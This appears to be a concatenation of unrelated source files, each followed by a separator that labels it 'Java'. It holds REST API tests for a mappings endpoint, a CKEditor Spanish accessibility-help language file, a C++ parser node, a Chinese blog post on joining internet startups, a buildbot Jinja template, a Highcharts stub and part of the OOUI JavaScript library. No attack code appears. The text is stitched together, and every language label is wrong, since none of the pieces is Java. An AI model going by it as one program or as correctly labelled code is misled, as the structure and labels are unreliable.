expect(res.body.upperRank, 'upperRank should equal 46').to.equal(46)
expect(res.body.referenceRank, 'referenceRank should equal 45').to.equal(45)
expect(res.body.sampleId).to.equal('0f1ed577-955a-494d-868c-cf4dc5c3c892', 'sampleId should equal 0f1ed577-955a-494d-868c-cf4dc5c3c892')
})
})
it('should return 404 on PUT /api/mappings/:id when id is unknown', () => {
return request(app)
.put('/api/mappings/bb459a9e-0d2c-4da1-b538-88ea43d30f8c')
.send({
sampleId: '0f1ed577-955a-494d-868c-cf4dc5c3c892'
})
.set('Accept', 'application/json')
.expect('Content-Type', /json/)
.expect(404)
.then((res) => {
expect(res.body, 'body should be a object').to.be.an('object')
expect(res.body).to.include({
msg: 'Failed to retrieve instrument mapping n°bb459a9e-0d2c-4da1-b538-88ea43d30f8c',
name: 'DatabaseError'
})
})
})
it('should return 204 on DELETE /api/mappings/:id', () => {
return request(app)
.delete('/api/mappings/712fda5f-3ff5-4e23-8949-320a96e0d565')
.expect(204)
.then((res) => {
expect(res.body, 'body should be empty').to.be.empty
})
})
it('should return 404 on DELETE /api/mappings/:id when id is unknown', () => {
return request(app)
.delete('/api/mappings/bb459a9e-0d2c-4da1-b538-88ea43d30f8c')
.set('Accept', 'application/json')
.expect('Content-Type', /json/)
.expect(404)
.then((res) => {
expect(res.body, 'body should be a object').to.be.an('object')
expect(res.body).to.include({
msg: 'Failed to retrieve instrument mapping n°bb459a9e-0d2c-4da1-b538-88ea43d30f8c',
name: 'DatabaseError'
})
})
})
})
| Java |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang("a11yhelp","es",{title:"Instrucciones de accesibilidad",contents:"Ayuda. Para cerrar presione ESC.",legend:[{name:"General",items:[{name:"Barra de herramientas del editor",legend:'Presiona ${toolbarFocus} para navegar por la barra de herramientas. Para moverse por los distintos grupos de herramientas usa las teclas TAB y MAY-TAB. Para moverse por las distintas herramientas usa FLECHA DERECHA o FECHA IZQUIERDA. Presiona "espacio" o "intro" para activar la herramienta.'},{name:"Editor de diálogo",
legend:"Dentro de un cuadro de diálogo, presione la tecla TAB para desplazarse al campo siguiente del cuadro de diálogo, pulse SHIFT + TAB para desplazarse al campo anterior, pulse ENTER para presentar cuadro de diálogo, pulse la tecla ESC para cancelar el diálogo. Para los diálogos que tienen varias páginas, presione ALT + F10 para navegar a la pestaña de la lista. Luego pasar a la siguiente pestaña con TAB o FLECHA DERECHA. Para ir a la ficha anterior con SHIFT + TAB o FLECHA IZQUIERDA. Presione ESPACIO o ENTRAR para seleccionar la página de ficha."},
{name:"Editor del menú contextual",legend:"Presiona ${contextMenu} o TECLA MENÚ para abrir el menú contextual. Entonces muévete a la siguiente opción del menú con TAB o FLECHA ABAJO. Muévete a la opción previa con SHIFT + TAB o FLECHA ARRIBA. Presiona ESPACIO o ENTER para seleccionar la opción del menú. Abre el submenú de la opción actual con ESPACIO o ENTER o FLECHA DERECHA. Regresa al elemento padre del menú con ESC o FLECHA IZQUIERDA. Cierra el menú contextual con ESC."},{name:"Lista del Editor",
legend:"Dentro de una lista, te mueves al siguiente elemento de la lista con TAB o FLECHA ABAJO. Te mueves al elemento previo de la lista con SHIFT + TAB o FLECHA ARRIBA. Presiona ESPACIO o ENTER para elegir la opción de la lista. Presiona ESC para cerrar la lista."},{name:"Barra de Ruta del Elemento en el Editor",legend:"Presiona ${elementsPathFocus} para navegar a los elementos de la barra de ruta. Te mueves al siguiente elemento botón con TAB o FLECHA DERECHA. Te mueves al botón previo con SHIFT + TAB o FLECHA IZQUIERDA. Presiona ESPACIO o ENTER para seleccionar el elemento en el editor."}]},
{name:"Comandos",items:[{name:"Comando deshacer",legend:"Presiona ${undo}"},{name:"Comando rehacer",legend:"Presiona ${redo}"},{name:"Comando negrita",legend:"Presiona ${bold}"},{name:"Comando itálica",legend:"Presiona ${italic}"},{name:"Comando subrayar",legend:"Presiona ${underline}"},{name:"Comando liga",legend:"Presiona ${liga}"},{name:"Comando colapsar barra de herramientas",legend:"Presiona ${toolbarCollapse}"},{name:"Comando accesar el anterior espacio de foco",legend:"Presiona ${accessPreviousSpace} para accesar el espacio de foco no disponible más cercano anterior al cursor, por ejemplo: dos elementos HR adyacentes. Repite la combinación de teclas para alcanzar espacios de foco distantes."},
{name:"Comando accesar el siguiente spacio de foco",legend:"Presiona ${accessNextSpace} para accesar el espacio de foco no disponible más cercano después del cursor, por ejemplo: dos elementos HR adyacentes. Repite la combinación de teclas para alcanzar espacios de foco distantes."},{name:"Ayuda de Accesibilidad",legend:"Presiona ${a11yHelp}"}]}]});
| Java |
#include "FunctionCallOperatorNode.h"
#include "compiler/Parser/Parser.h"
#include "compiler/AST/Variables/VariableNode.h"
#include <assert.h>
namespace Three {
FunctionCallOperatorNode* FunctionCallOperatorNode::parse(Parser& parser, ASTNode* receiver, ASTNode* firstArg) {
assert(parser.helper()->peek().type() == Token::Type::PunctuationOpenParen);
assert(receiver);
FunctionCallOperatorNode* node = new FunctionCallOperatorNode();
node->setReceiver(receiver);
if (!CallableOperatorNode::parseArguments(parser, node)) {
assert(0 && "Message: Unable to parse function arguments");
}
return node;
}
std::string FunctionCallOperatorNode::nodeName() const {
return "Function Call Operator";
}
void FunctionCallOperatorNode::accept(ASTVisitor& visitor) {
visitor.visit(*this);
}
}
| Java |
---
layout: post
title: "对个人要不要进入互联网行业的一些看法"
categories:
- others
tags:
- others
---
> StartTime: 2016-12-11,ModifyTime:2017-04-02
一个典型的热情进入互联网创业公司,失望退出的例子。 在南京两年半,因为所学专业原因以及其他,多多少少接触过不少创业公司和有些经历。大早上某帅气的单身狗学长发我[一篇文章](http://mp.weixin.qq.com/s?__biz=MzA4MTkxMzU3NQ==&mid=2651008248&idx=1&sn=4a9d81aab9c99affdb38dfacebc9c2e9&chksm=847a3f70b30db666f38ae3be7d7527764e95f89501c30ceb1961b46036619bf51b9ab6d3fe3f&mpshare=1&scene=1&srcid=1211IRFtOHsciWTlElXyjAWN#rd),有感于无数小伙伴的迷茫,遂发此文分享一下。
<!---more--->
首先我们得认同一个事实,互联网并不是万能的。虽然现在国内炒的一片火热,但其实这样的创业潮每隔几十年就会在世界上演(并没有查阅史料核实,只是隐约记得美国上世纪,中国90年代也有多次这样的创业潮,那时候可能不一定是互联网创业)。过去可能是美国,今天是中国,后天可能也许在欧洲。从个人所学来看,互联网只是一种普通的升级改造过去社会产业的技术手段,并不是什么灵丹妙药。
对于国家来说,这种创业潮多少会催生出一批优秀的企业,优化以前老旧的企业。
对于个人而言,则是会让无数人认清现实。个人能力不足尽量就不要步子跨太大。不要那么相信自己就是”真命天子“。就算是王子也不一定会娶到他国公主。创业从过去到今天,唯一不变的就是一切以利益为核心。中学教科书里就写了,企业的核心目标就是盈利。就算是现在所谓的社会企业概念,同样它也要盈利,不盈利就是死。避免死亡是每个正常人和企业的基本诉求。虽然看上去为了一个也许伟大的目标,大家一起努力是一件很Wonderful事情,但你首先是自己,不是公司的附属品,不是工作的奴隶。不论你是否拥有一个公司的股份,是否认同它的理念,至少你应该明白自己的底线在哪里。有的人是工作狂,可以牺牲一切时间和精力;但这不代表你必须是这样的人。从来没有一条定律说一定要大家一起疯狂的工作才能使得公司一定成功;从来没有一条定律说个人一定要疯狂工作才能获得成功。时势造英雄。所以如果你认真考虑了自己,如果你的原则或者信仰与创业潮不符合,那么早点退出。别像文章里说的认识这么晚(其实也不算太晚)当然如果你想快速获得成功和经验,的确创业公司是个很好的平台,但是万事有风险,请谨记。 文章里的姑娘我猜也许本身就不是那么喜欢超负荷工作的人,然后偏偏又遇到了不和谐的团队,最后结局肯定悲剧了。就像我也不喜欢长年累月的没有回报的工作,所以我以后也许会经常跳槽,也许在合适的工作岗位上做一辈子。社会的质疑并不代表你多么差劲,你辉煌的时候比宇宙里最亮的星星更闪耀。你只需要为你所做而负责就够了。
生活不止眼前的苟且,不止诗和远方,还有你自己的原则与信仰。文章里主角让我想起了今年6月刚搬到百家湖的时候,有天晚上和隔壁的平面设计师姐姐聊了一会,本来还想给当时离职的她介绍去我当时的公司,但她最后的告诫是“千万别进入创业公司”。现在想想也许是她也经历过类似的经历,然后明白自己想要的吧。不过不得不说,想坚持自己的原则太难了,现在整个社会的舆论环境都在炒热这个话题,你将无可避免。三人成虎的故事大家应该不陌生了(PS:如果忘记赶快去百度)。所以我也经常迷失,不过庆幸的是自己能有时间有机会安静地呆在台北这种小地方里,仿若隔绝人世的想点东西,平复心境。 如果你上面看得眼花缭乱,要么你可以再读一遍,要么你就理解成找对象谈恋爱就行了,合适的才是最好的。有人喜欢狂野,有人喜欢温柔岁月。无论怎样,你喜欢现在的生活就好。此文只是给正在互联网行业挣扎迷茫的孩子以及正在找工作的小伙伴一些参考意见,仅供参考,概不负责XDD
PS:不论成败,创业公司与创业团队都是伟大的,他们的付出和努力让人敬佩。但此文只是站在个人工作的角度来分析,告诉大家一点自己的想法。仁者见仁智者见智。如有对您造成困扰请多包含。
| Java |
{% extends 'base.html' %}
{% block title %}Grow Buildbot{% endblock %}
{% block body %}
<h2>Recent builds</h2>
<ul>
{% for build in builds %}
<li>
<a href="{{ url_for('build', build_id=build.id)}}">build {{ build.id }}</a>:
<strong class="status-{{ build.status }}">{{ build.status }}</strong>
{{ build.git_url }}
{{ build.ref }}
{{ build.commit_sha }}
</li>
{% endfor %}
<li><a href="{{ url_for('builds')}}">More »</a></li>
</ul>
<h2>
Jobs ({{ jobs|length }})
[<a href="{{ url_for('sync_jobs') }}">sync jobs</a>]
[<a href="{{ url_for('sync_forks') }}">sync forks</a>]
</h2>
{% for job in jobs %}
<ul>
<li>
Job {{ job.id }}:
{{ job.git_url }} (remote: {{ job.remote }})
[<a href="{{ url_for('sync_job', job_id=job.id) }}">sync job</a>]
[<a href="{{ url_for('sync_fork', job_id=job.id) }}">sync fork</a>]
</li>
<ul>
{% for ref in job.ref_map %}
<li>
[<a href="{{ url_for('run_job', job_id=job.id, ref=ref, commit_sha=job.ref_map[ref]['sha']) }}">build now</a>]
[<a href="{{ url_for('job_browse_ref', job_id=job.id, ref=ref) }}">browse</a>]
{{ ref }} ({{ job.ref_map[ref]['sha'][0:7] }})
</li>
{% endfor %}
</ul>
</ul>
{% endfor %}
{% endblock %}
| Java |
/**
* @license Highcharts JS v9.0.1 (2021-02-16)
* @module highcharts/modules/dependency-wheel
* @requires highcharts
* @requires highcharts/modules/sankey
*
* Dependency wheel module
*
* (c) 2010-2021 Torstein Honsi
*
* License: www.highcharts.com/license
*/
'use strict';
import '../../Series/DependencyWheel/DependencyWheelSeries.js';
| Java |
/*!
* OOUI v0.40.3
* https://www.mediawiki.org/wiki/OOUI
*
* Copyright 2011–2020 OOUI Team and other contributors.
* Released under the MIT license
* http://oojs.mit-license.org
*
* Date: 2020-09-02T15:42:49Z
*/
( function ( OO ) {
'use strict';
/**
* An ActionWidget is a {@link OO.ui.ButtonWidget button widget} that executes an action.
* Action widgets are used with OO.ui.ActionSet, which manages the behavior and availability
* of the actions.
*
* Both actions and action sets are primarily used with {@link OO.ui.Dialog Dialogs}.
* Please see the [OOUI documentation on MediaWiki] [1] for more information
* and examples.
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Process_Dialogs#Action_sets
*
* @class
* @extends OO.ui.ButtonWidget
* @mixins OO.ui.mixin.PendingElement
*
* @constructor
* @param {Object} [config] Configuration options
* @cfg {string} [action] Symbolic name of the action (e.g., ‘continue’ or ‘cancel’).
* @cfg {string[]} [modes] Symbolic names of the modes (e.g., ‘edit’ or ‘read’) in which the action
* should be made available. See the action set's {@link OO.ui.ActionSet#setMode setMode} method
* for more information about setting modes.
* @cfg {boolean} [framed=false] Render the action button with a frame
*/
OO.ui.ActionWidget = function OoUiActionWidget( config ) {
// Configuration initialization
config = $.extend( { framed: false }, config );
// Parent constructor
OO.ui.ActionWidget.super.call( this, config );
// Mixin constructors
OO.ui.mixin.PendingElement.call( this, config );
// Properties
this.action = config.action || '';
this.modes = config.modes || [];
this.width = 0;
this.height = 0;
// Initialization
this.$element.addClass( 'oo-ui-actionWidget' );
};
/* Setup */
OO.inheritClass( OO.ui.ActionWidget, OO.ui.ButtonWidget );
OO.mixinClass( OO.ui.ActionWidget, OO.ui.mixin.PendingElement );
/* Methods */
/**
* Check if the action is configured to be available in the specified `mode`.
*
* @param {string} mode Name of mode
* @return {boolean} The action is configured with the mode
*/
OO.ui.ActionWidget.prototype.hasMode = function ( mode ) {
return this.modes.indexOf( mode ) !== -1;
};
/**
* Get the symbolic name of the action (e.g., ‘continue’ or ‘cancel’).
*
* @return {string}
*/
OO.ui.ActionWidget.prototype.getAction = function () {
return this.action;
};
/**
* Get the symbolic name of the mode or modes for which the action is configured to be available.
*
* The current mode is set with the action set's {@link OO.ui.ActionSet#setMode setMode} method.
* Only actions that are configured to be available in the current mode will be visible.
* All other actions are hidden.
*
* @return {string[]}
*/
OO.ui.ActionWidget.prototype.getModes = function () {
return this.modes.slice();
};
/* eslint-disable no-unused-vars */
/**
* ActionSets manage the behavior of the {@link OO.ui.ActionWidget action widgets} that
* comprise them.
* Actions can be made available for specific contexts (modes) and circumstances
* (abilities). Action sets are primarily used with {@link OO.ui.Dialog Dialogs}.
*
* ActionSets contain two types of actions:
*
* - Special: Special actions are the first visible actions with special flags, such as 'safe' and
* 'primary', the default special flags. Additional special flags can be configured in subclasses
* with the static #specialFlags property.
* - Other: Other actions include all non-special visible actions.
*
* See the [OOUI documentation on MediaWiki][1] for more information.
*
* @example
* // Example: An action set used in a process dialog
* function MyProcessDialog( config ) {
* MyProcessDialog.super.call( this, config );
* }
* OO.inheritClass( MyProcessDialog, OO.ui.ProcessDialog );
* MyProcessDialog.static.title = 'An action set in a process dialog';
* MyProcessDialog.static.name = 'myProcessDialog';
* // An action set that uses modes ('edit' and 'help' mode, in this example).
* MyProcessDialog.static.actions = [
* {
* action: 'continue',
* modes: 'edit',
* label: 'Continue',
* flags: [ 'primary', 'progressive' ]
* },
* { action: 'help', modes: 'edit', label: 'Help' },
* { modes: 'edit', label: 'Cancel', flags: 'safe' },
* { action: 'back', modes: 'help', label: 'Back', flags: 'safe' }
* ];
*
* MyProcessDialog.prototype.initialize = function () {
* MyProcessDialog.super.prototype.initialize.apply( this, arguments );
* this.panel1 = new OO.ui.PanelLayout( { padded: true, expanded: false } );
* this.panel1.$element.append( '<p>This dialog uses an action set (continue, help, ' +
* 'cancel, back) configured with modes. This is edit mode. Click \'help\' to see ' +
* 'help mode.</p>' );
* this.panel2 = new OO.ui.PanelLayout( { padded: true, expanded: false } );
* this.panel2.$element.append( '<p>This is help mode. Only the \'back\' action widget ' +
* 'is configured to be visible here. Click \'back\' to return to \'edit\' mode.' +
* '</p>' );
* this.stackLayout = new OO.ui.StackLayout( {
* items: [ this.panel1, this.panel2 ]
* } );
* this.$body.append( this.stackLayout.$element );
* };
* MyProcessDialog.prototype.getSetupProcess = function ( data ) {
* return MyProcessDialog.super.prototype.getSetupProcess.call( this, data )
* .next( function () {
* this.actions.setMode( 'edit' );
* }, this );
* };
* MyProcessDialog.prototype.getActionProcess = function ( action ) {
* if ( action === 'help' ) {
* this.actions.setMode( 'help' );
* this.stackLayout.setItem( this.panel2 );
* } else if ( action === 'back' ) {
* this.actions.setMode( 'edit' );
* this.stackLayout.setItem( this.panel1 );
* } else if ( action === 'continue' ) {
* var dialog = this;
* return new OO.ui.Process( function () {
* dialog.close();
* } );
* }
* return MyProcessDialog.super.prototype.getActionProcess.call( this, action );
* };
* MyProcessDialog.prototype.getBodyHeight = function () {
* return this.panel1.$element.outerHeight( true );
* };
* var windowManager = new OO.ui.WindowManager();
* $( document.body ).append( windowManager.$element );
* var dialog = new MyProcessDialog( {
* size: 'medium'
* } );
* windowManager.addWindows( [ dialog ] );
* windowManager.openWindow( dialog );
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Process_Dialogs#Action_sets
*
* @abstract
* @class
* @mixins OO.EventEmitter
*
* @constructor
* @param {Object} [config] Configuration options
*/
OO.ui.ActionSet = function OoUiActionSet( config ) {
// Configuration initialization
config = config || {};
// Mixin constructors
OO.EventEmitter.call( this );
// Properties
this.list = [];
this.categories = {
actions: 'getAction',
flags: 'getFlags',
modes: 'getModes'
};
this.categorized = {};
this.special = {};
this.others = [];
this.organized = false;
this.changing = false;
this.changed = false;
};
/* eslint-enable no-unused-vars */
/* Setup */
OO.mixinClass( OO.ui.ActionSet, OO.EventEmitter );
/* Static Properties */
/**
* Symbolic name of the flags used to identify special actions. Special actions are displayed in the
* header of a {@link OO.ui.ProcessDialog process dialog}.
* See the [OOUI documentation on MediaWiki][2] for more information and examples.
*
* [2]:https://www.mediawiki.org/wiki/OOUI/Windows/Process_Dialogs
*
* @abstract
* @static
* @inheritable
* @property {string}
*/
OO.ui.ActionSet.static.specialFlags = [ 'safe', 'primary' ];
/* Events */
/**
* @event click
*
* A 'click' event is emitted when an action is clicked.
*
* @param {OO.ui.ActionWidget} action Action that was clicked
*/
/**
* @event add
*
* An 'add' event is emitted when actions are {@link #method-add added} to the action set.
*
* @param {OO.ui.ActionWidget[]} added Actions added
*/
/**
* @event remove
*
* A 'remove' event is emitted when actions are {@link #method-remove removed}
* or {@link #clear cleared}.
*
* @param {OO.ui.ActionWidget[]} added Actions removed
*/
/**
* @event change
*
* A 'change' event is emitted when actions are {@link #method-add added}, {@link #clear cleared},
* or {@link #method-remove removed} from the action set or when the {@link #setMode mode}
* is changed.
*
*/
/* Methods */
/**
* Handle action change events.
*
* @private
* @fires change
*/
OO.ui.ActionSet.prototype.onActionChange = function () {
this.organized = false;
if ( this.changing ) {
this.changed = true;
} else {
this.emit( 'change' );
}
};
/**
* Check if an action is one of the special actions.
*
* @param {OO.ui.ActionWidget} action Action to check
* @return {boolean} Action is special
*/
OO.ui.ActionSet.prototype.isSpecial = function ( action ) {
var flag;
for ( flag in this.special ) {
if ( action === this.special[ flag ] ) {
return true;
}
}
return false;
};
/**
* Get action widgets based on the specified filter: ‘actions’, ‘flags’, ‘modes’, ‘visible’,
* or ‘disabled’.
*
* @param {Object} [filters] Filters to use, omit to get all actions
* @param {string|string[]} [filters.actions] Actions that action widgets must have
* @param {string|string[]} [filters.flags] Flags that action widgets must have (e.g., 'safe')
* @param {string|string[]} [filters.modes] Modes that action widgets must have
* @param {boolean} [filters.visible] Action widgets must be visible
* @param {boolean} [filters.disabled] Action widgets must be disabled
* @return {OO.ui.ActionWidget[]} Action widgets matching all criteria
*/
OO.ui.ActionSet.prototype.get = function ( filters ) {
var i, len, list, category, actions, index, match, matches;
if ( filters ) {
this.organize();
// Collect category candidates
matches = [];
for ( category in this.categorized ) {
list = filters[ category ];
if ( list ) {
if ( !Array.isArray( list ) ) {
list = [ list ];
}
for ( i = 0, len = list.length; i < len; i++ ) {
actions = this.categorized[ category ][ list[ i ] ];
if ( Array.isArray( actions ) ) {
matches.push.apply( matches, actions );
}
}
}
}
// Remove by boolean filters
for ( i = 0, len = matches.length; i < len; i++ ) {
match = matches[ i ];
if (
( filters.visible !== undefined && match.isVisible() !== filters.visible ) ||
( filters.disabled !== undefined && match.isDisabled() !== filters.disabled )
) {
matches.splice( i, 1 );
len--;
i--;
}
}
// Remove duplicates
for ( i = 0, len = matches.length; i < len; i++ ) {
match = matches[ i ];
index = matches.lastIndexOf( match );
while ( index !== i ) {
matches.splice( index, 1 );
len--;
index = matches.lastIndexOf( match );
}
}
return matches;
}
return this.list.slice();
};
/**
* Get 'special' actions.
*
* Special actions are the first visible action widgets with special flags, such as 'safe' and
* 'primary'.
* Special flags can be configured in subclasses by changing the static #specialFlags property.
*
* @return {OO.ui.ActionWidget[]|null} 'Special' action widgets.
*/
OO.ui.ActionSet.prototype.getSpecial = function () {
this.organize();
return $.extend( {}, this.special );
};
/**
* Get 'other' actions.
*
* Other actions include all non-special visible action widgets.
*
* @return {OO.ui.ActionWidget[]} 'Other' action widgets
*/
OO.ui.ActionSet.prototype.getOthers = function () {
this.organize();
return this.others.slice();
};
/**
* Set the mode (e.g., ‘edit’ or ‘view’). Only {@link OO.ui.ActionWidget#modes actions} configured
* to be available in the specified mode will be made visible. All other actions will be hidden.
*
* @param {string} mode The mode. Only actions configured to be available in the specified
* mode will be made visible.
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
* @fires toggle
* @fires change
*/
OO.ui.ActionSet.prototype.setMode = function ( mode ) {
var i, len, action;
this.changing = true;
for ( i = 0, len = this.list.length; i < len; i++ ) {
action = this.list[ i ];
action.toggle( action.hasMode( mode ) );
}
this.organized = false;
this.changing = false;
this.emit( 'change' );
return this;
};
/**
* Set the abilities of the specified actions.
*
* Action widgets that are configured with the specified actions will be enabled
* or disabled based on the boolean values specified in the `actions`
* parameter.
*
* @param {Object.<string,boolean>} actions A list keyed by action name with boolean
* values that indicate whether or not the action should be enabled.
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
*/
OO.ui.ActionSet.prototype.setAbilities = function ( actions ) {
var i, len, action, item;
for ( i = 0, len = this.list.length; i < len; i++ ) {
item = this.list[ i ];
action = item.getAction();
if ( actions[ action ] !== undefined ) {
item.setDisabled( !actions[ action ] );
}
}
return this;
};
/**
* Executes a function once per action.
*
* When making changes to multiple actions, use this method instead of iterating over the actions
* manually to defer emitting a #change event until after all actions have been changed.
*
* @param {Object|null} filter Filters to use to determine which actions to iterate over; see #get
* @param {Function} callback Callback to run for each action; callback is invoked with three
* arguments: the action, the action's index, the list of actions being iterated over
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
*/
OO.ui.ActionSet.prototype.forEach = function ( filter, callback ) {
this.changed = false;
this.changing = true;
this.get( filter ).forEach( callback );
this.changing = false;
if ( this.changed ) {
this.emit( 'change' );
}
return this;
};
/**
* Add action widgets to the action set.
*
* @param {OO.ui.ActionWidget[]} actions Action widgets to add
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
* @fires add
* @fires change
*/
OO.ui.ActionSet.prototype.add = function ( actions ) {
var i, len, action;
this.changing = true;
for ( i = 0, len = actions.length; i < len; i++ ) {
action = actions[ i ];
action.connect( this, {
click: [ 'emit', 'click', action ],
toggle: [ 'onActionChange' ]
} );
this.list.push( action );
}
this.organized = false;
this.emit( 'add', actions );
this.changing = false;
this.emit( 'change' );
return this;
};
/**
* Remove action widgets from the set.
*
* To remove all actions, you may wish to use the #clear method instead.
*
* @param {OO.ui.ActionWidget[]} actions Action widgets to remove
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
* @fires remove
* @fires change
*/
OO.ui.ActionSet.prototype.remove = function ( actions ) {
var i, len, index, action;
this.changing = true;
for ( i = 0, len = actions.length; i < len; i++ ) {
action = actions[ i ];
index = this.list.indexOf( action );
if ( index !== -1 ) {
action.disconnect( this );
this.list.splice( index, 1 );
}
}
this.organized = false;
this.emit( 'remove', actions );
this.changing = false;
this.emit( 'change' );
return this;
};
/**
* Remove all action widgets from the set.
*
* To remove only specified actions, use the {@link #method-remove remove} method instead.
*
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
* @fires remove
* @fires change
*/
OO.ui.ActionSet.prototype.clear = function () {
var i, len, action,
removed = this.list.slice();
this.changing = true;
for ( i = 0, len = this.list.length; i < len; i++ ) {
action = this.list[ i ];
action.disconnect( this );
}
this.list = [];
this.organized = false;
this.emit( 'remove', removed );
this.changing = false;
this.emit( 'change' );
return this;
};
/**
* Organize actions.
*
* This is called whenever organized information is requested. It will only reorganize the actions
* if something has changed since the last time it ran.
*
* @private
* @chainable
* @return {OO.ui.ActionSet} The widget, for chaining
*/
OO.ui.ActionSet.prototype.organize = function () {
var i, iLen, j, jLen, flag, action, category, list, item, special,
specialFlags = this.constructor.static.specialFlags;
if ( !this.organized ) {
this.categorized = {};
this.special = {};
this.others = [];
for ( i = 0, iLen = this.list.length; i < iLen; i++ ) {
action = this.list[ i ];
if ( action.isVisible() ) {
// Populate categories
for ( category in this.categories ) {
if ( !this.categorized[ category ] ) {
this.categorized[ category ] = {};
}
list = action[ this.categories[ category ] ]();
if ( !Array.isArray( list ) ) {
list = [ list ];
}
for ( j = 0, jLen = list.length; j < jLen; j++ ) {
item = list[ j ];
if ( !this.categorized[ category ][ item ] ) {
this.categorized[ category ][ item ] = [];
}
this.categorized[ category ][ item ].push( action );
}
}
// Populate special/others
special = false;
for ( j = 0, jLen = specialFlags.length; j < jLen; j++ ) {
flag = specialFlags[ j ];
if ( !this.special[ flag ] && action.hasFlag( flag ) ) {
this.special[ flag ] = action;
special = true;
break;
}
}
if ( !special ) {
this.others.push( action );
}
}
}
this.organized = true;
}
return this;
};
/**
* Errors contain a required message (either a string or jQuery selection) that is used to describe
* what went wrong in a {@link OO.ui.Process process}. The error's #recoverable and #warning
* configurations are used to customize the appearance and functionality of the error interface.
*
* The basic error interface contains a formatted error message as well as two buttons: 'Dismiss'
* and 'Try again' (i.e., the error is 'recoverable' by default). If the error is not recoverable,
* the 'Try again' button will not be rendered and the widget that initiated the failed process will
* be disabled.
*
* If the error is a warning, the error interface will include a 'Dismiss' and a 'Continue' button,
* which will try the process again.
*
* For an example of error interfaces, please see the [OOUI documentation on MediaWiki][1].
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Process_Dialogs#Processes_and_errors
*
* @class
*
* @constructor
* @param {string|jQuery} message Description of error
* @param {Object} [config] Configuration options
* @cfg {boolean} [recoverable=true] Error is recoverable.
* By default, errors are recoverable, and users can try the process again.
* @cfg {boolean} [warning=false] Error is a warning.
* If the error is a warning, the error interface will include a
* 'Dismiss' and a 'Continue' button. It is the responsibility of the developer to ensure that the
* warning is not triggered a second time if the user chooses to continue.
*/
OO.ui.Error = function OoUiError( message, config ) {
// Allow passing positional parameters inside the config object
if ( OO.isPlainObject( message ) && config === undefined ) {
config = message;
message = config.message;
}
// Configuration initialization
config = config || {};
// Properties
this.message = message instanceof $ ? message : String( message );
this.recoverable = config.recoverable === undefined || !!config.recoverable;
this.warning = !!config.warning;
};
/* Setup */
OO.initClass( OO.ui.Error );
/* Methods */
/**
* Check if the error is recoverable.
*
* If the error is recoverable, users are able to try the process again.
*
* @return {boolean} Error is recoverable
*/
OO.ui.Error.prototype.isRecoverable = function () {
return this.recoverable;
};
/**
* Check if the error is a warning.
*
* If the error is a warning, the error interface will include a 'Dismiss' and a 'Continue' button.
*
* @return {boolean} Error is warning
*/
OO.ui.Error.prototype.isWarning = function () {
return this.warning;
};
/**
* Get error message as DOM nodes.
*
* @return {jQuery} Error message in DOM nodes
*/
OO.ui.Error.prototype.getMessage = function () {
return this.message instanceof $ ?
this.message.clone() :
$( '<div>' ).text( this.message ).contents();
};
/**
* Get the error message text.
*
* @return {string} Error message
*/
OO.ui.Error.prototype.getMessageText = function () {
return this.message instanceof $ ? this.message.text() : this.message;
};
/**
* A Process is a list of steps that are called in sequence. The step can be a number, a
* promise (jQuery, native, or any other “thenable”), or a function:
*
* - **number**: the process will wait for the specified number of milliseconds before proceeding.
* - **promise**: the process will continue to the next step when the promise is successfully
* resolved or stop if the promise is rejected.
* - **function**: the process will execute the function. The process will stop if the function
* returns either a boolean `false` or a promise that is rejected; if the function returns a
* number, the process will wait for that number of milliseconds before proceeding.
*
* If the process fails, an {@link OO.ui.Error error} is generated. Depending on how the error is
* configured, users can dismiss the error and try the process again, or not. If a process is
* stopped, its remaining steps will not be performed.
*
* @class
*
* @constructor
* @param {number|jQuery.Promise|Function} step Number of milliseconds to wait before proceeding,
* promise that must be resolved before proceeding, or a function to execute. See #createStep for
* more information. See #createStep for more information.
* @param {Object} [context=null] Execution context of the function. The context is ignored if the
* step is a number or promise.
*/
OO.ui.Process = function ( step, context ) {
// Properties
this.steps = [];
// Initialization
if ( step !== undefined ) {
this.next( step, context );
}
};
/* Setup */
OO.initClass( OO.ui.Process );
/* Methods */
/**
* Start the process.
*
* @return {jQuery.Promise} Promise that is resolved when all steps have successfully completed.
* If any of the steps return a promise that is rejected or a boolean false, this promise is
* rejected and any remaining steps are not performed.
*/
OO.ui.Process.prototype.execute = function () {
var i, len, promise;
/**
* Continue execution.
*
* @ignore
* @param {Array} step A function and the context it should be called in
* @return {Function} Function that continues the process
*/
function proceed( step ) {
return function () {
// Execute step in the correct context
var deferred,
result = step.callback.call( step.context );
if ( result === false ) {
// Use rejected promise for boolean false results
return $.Deferred().reject( [] ).promise();
}
if ( typeof result === 'number' ) {
if ( result < 0 ) {
throw new Error( 'Cannot go back in time: flux capacitor is out of service' );
}
// Use a delayed promise for numbers, expecting them to be in milliseconds
deferred = $.Deferred();
setTimeout( deferred.resolve, result );
return deferred.promise();
}
if ( result instanceof OO.ui.Error ) {
// Use rejected promise for error
return $.Deferred().reject( [ result ] ).promise();
}
if ( Array.isArray( result ) && result.length && result[ 0 ] instanceof OO.ui.Error ) {
// Use rejected promise for list of errors
return $.Deferred().reject( result ).promise();
}
// Duck-type the object to see if it can produce a promise
if ( result && typeof result.then === 'function' ) {
// Use a promise generated from the result
return $.when( result ).promise();
}
// Use resolved promise for other results
return $.Deferred().resolve().promise();
};
}
if ( this.steps.length ) {
// Generate a chain reaction of promises
promise = proceed( this.steps[ 0 ] )();
for ( i = 1, len = this.steps.length; i < len; i++ ) {
promise = promise.then( proceed( this.steps[ i ] ) );
}
} else {
promise = $.Deferred().resolve().promise();
}
return promise;
};
/**
* Create a process step.
*
* @private
* @param {number|jQuery.Promise|Function} step
*
* - Number of milliseconds to wait before proceeding
* - Promise that must be resolved before proceeding
* - Function to execute
* - If the function returns a boolean false the process will stop
* - If the function returns a promise, the process will continue to the next
* step when the promise is resolved or stop if the promise is rejected
* - If the function returns a number, the process will wait for that number of
* milliseconds before proceeding
